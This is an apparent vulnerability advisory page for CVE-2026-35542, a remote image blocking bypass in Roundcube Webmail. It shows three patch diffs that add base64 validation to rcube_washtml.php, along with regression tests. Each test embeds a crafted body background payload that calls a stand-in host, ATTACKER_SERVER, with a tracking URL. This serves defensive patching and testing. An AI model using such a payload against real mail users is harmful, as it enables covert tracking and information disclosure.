Medium severity5.3NVD Advisory· Published Apr 3, 2026· Updated Apr 7, 2026
CVE-2026-35542
CVE-2026-35542
Description
An issue was discovered in Roundcube Webmail before 1.5.14 and 1.6.14. The remote image blocking feature can be bypassed via a crafted background attribute of a BODY element in an e-mail message. This may lead to information disclosure or access-control bypass.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
roundcube/roundcubemailPackagist | >= 1.7-beta, < 1.7-rc5 | 1.7-rc5 |
Affected products
1Patches
3fd0e98178db5Fix remote image blocking bypass via a crafted body background attribute
3 files changed · +13 −0
CHANGELOG.md+1 −0 modified@@ -13,6 +13,7 @@ This file includes only changes we consider noteworthy for users, admins and plu - Security: Fix bug where a password could get changed without providing the old password - Security: Fix IMAP Injection + CSRF bypass in mail search - Security: Fix remote image blocking bypass via various SVG animate attributes +- Security: Fix remote image blocking bypass via a crafted body background attribute ## 1.7-rc4
program/lib/Roundcube/rcube_washtml.php+5 −0 modified@@ -416,6 +416,11 @@ private function wash_uri($uri, $blocked_source = false, $is_image = true) return 'data:image/' . $type . ',' . base64_encode($svg); } + // At this point we allow only valid base64 images + if (stripos($type, 'base64') === false || preg_match('|[^0-9a-z\s/+]|i', $matches[2])) { + return ''; + } + return $uri; }
tests/Framework/WashtmlTest.php+7 −0 modified@@ -271,6 +271,13 @@ public function test_style_body_attrs() $this->assertMatchesRegularExpression('|link="#111"|', $washed, 'Body link attribute'); $this->assertMatchesRegularExpression('|alink="#222"|', $washed, 'Body alink attribute'); $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, 'Body vlink attribute'); + + $html = '<html><body background="data:image/png,x);background:url(//ATTACKER_SERVER/track?uid=test"></body></html>'; + + $washer = new \rcube_washtml(['html_elements' => ['body']]); + $washed = $washer->wash($html); + + $this->assertMatchesRegularExpression('|x-washed="background"|', $washed, 'Body evil background'); } /**
e052328e3dc7Fix remote image blocking bypass via a crafted body background attribute
3 files changed · +13 −0
CHANGELOG.md+1 −0 modified@@ -6,6 +6,7 @@ - Security: Fix bug where a password could get changed without providing the old password - Security: Fix IMAP Injection + CSRF bypass in mail search - Security: Fix remote image blocking bypass via various SVG animate attributes +- Security: Fix remote image blocking bypass via a crafted body background attribute ## Release 1.5.13
program/lib/Roundcube/rcube_washtml.php+5 −0 modified@@ -424,6 +424,11 @@ private function wash_uri($uri, $blocked_source = false, $is_image = true) return 'data:image/' . $type . ',' . base64_encode($svg); } + // At this point we allow only valid base64 images + if (stripos($type, 'base64') === false || preg_match('|[^0-9a-z\s/+]|i', $matches[2])) { + return ''; + } + return $uri; } }
tests/Framework/Washtml.php+7 −0 modified@@ -247,6 +247,13 @@ function test_style_body_attrs() $this->assertRegExp('|link="#111"|', $washed, "Body link attribute"); $this->assertRegExp('|alink="#222"|', $washed, "Body alink attribute"); $this->assertRegExp('|vlink="#333"|', $washed, "Body vlink attribute"); + + $html = '<html><body background="data:image/png,x);background:url(//ATTACKER_SERVER/track?uid=test"></body></html>'; + + $washer = new \rcube_washtml(['html_elements' => ['body']]); + $washed = $washer->wash($html); + + $this->assertRegExp('|x-washed="background"|', $washed, 'Body evil background'); } /**
fde14d01adc9Fix remote image blocking bypass via a crafted body background attribute
3 files changed · +19 −6
CHANGELOG.md+1 −0 modified@@ -7,6 +7,7 @@ - Security: Fix bug where a password could get changed without providing the old password - Security: Fix IMAP Injection + CSRF bypass in mail search - Security: Fix remote image blocking bypass via various SVG animate attributes +- Security: Fix remote image blocking bypass via a crafted body background attribute ## Release 1.6.13
program/lib/Roundcube/rcube_washtml.php+5 −0 modified@@ -427,6 +427,11 @@ private function wash_uri($uri, $blocked_source = false, $is_image = true) return 'data:image/' . $type . ',' . base64_encode($svg); } + // At this point we allow only valid base64 images + if (stripos($type, 'base64') === false || preg_match('|[^0-9a-z\s/+]|i', $matches[2])) { + return ''; + } + return $uri; } }
tests/Framework/Washtml.php+13 −6 modified@@ -262,12 +262,19 @@ function test_style_body_attrs() $washer = new rcube_washtml(['html_elements' => ['body']]); $washed = $washer->wash($html); - $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, "Body bgcolor attribute"); - $this->assertMatchesRegularExpression('|text="#000"|', $washed, "Body text attribute"); - $this->assertMatchesRegularExpression('|background="#test"|', $washed, "Body background attribute"); - $this->assertMatchesRegularExpression('|link="#111"|', $washed, "Body link attribute"); - $this->assertMatchesRegularExpression('|alink="#222"|', $washed, "Body alink attribute"); - $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, "Body vlink attribute"); + $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, 'Body bgcolor attribute'); + $this->assertMatchesRegularExpression('|text="#000"|', $washed, 'Body text attribute'); + $this->assertMatchesRegularExpression('|background="#test"|', $washed, 'Body background attribute'); + $this->assertMatchesRegularExpression('|link="#111"|', $washed, 'Body link attribute'); + $this->assertMatchesRegularExpression('|alink="#222"|', $washed, 'Body alink attribute'); + $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, 'Body vlink attribute'); + + $html = '<html><body background="data:image/png,x);background:url(//ATTACKER_SERVER/track?uid=test"></body></html>'; + + $washer = new \rcube_washtml(['html_elements' => ['body']]); + $washed = $washer->wash($html); + + $this->assertMatchesRegularExpression('|x-washed="background"|', $washed, 'Body evil background'); } /**
Vulnerability mechanics
Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
9- github.com/roundcube/roundcubemail/commit/e052328e3dc75f13adc2e314eaa4096ac21084adnvdPatchWEB
- github.com/roundcube/roundcubemail/commit/fd0e98178db5c73eaa93d005b561874923f9b0f0nvdPatchWEB
- github.com/roundcube/roundcubemail/commit/fde14d01adc9f37893cd82b635883e516ed453f8nvdPatchWEB
- github.com/advisories/GHSA-5hf6-crg4-fg59ghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2026-35542ghsaADVISORY
- roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.14nvdVendor AdvisoryWEB
- github.com/roundcube/roundcubemail/releases/tag/1.5.14nvdRelease NotesWEB
- github.com/roundcube/roundcubemail/releases/tag/1.6.14nvdRelease NotesWEB
- github.com/roundcube/roundcubemail/releases/tag/1.7-rc5nvdRelease NotesWEB
News mentions
0No linked articles in our index yet.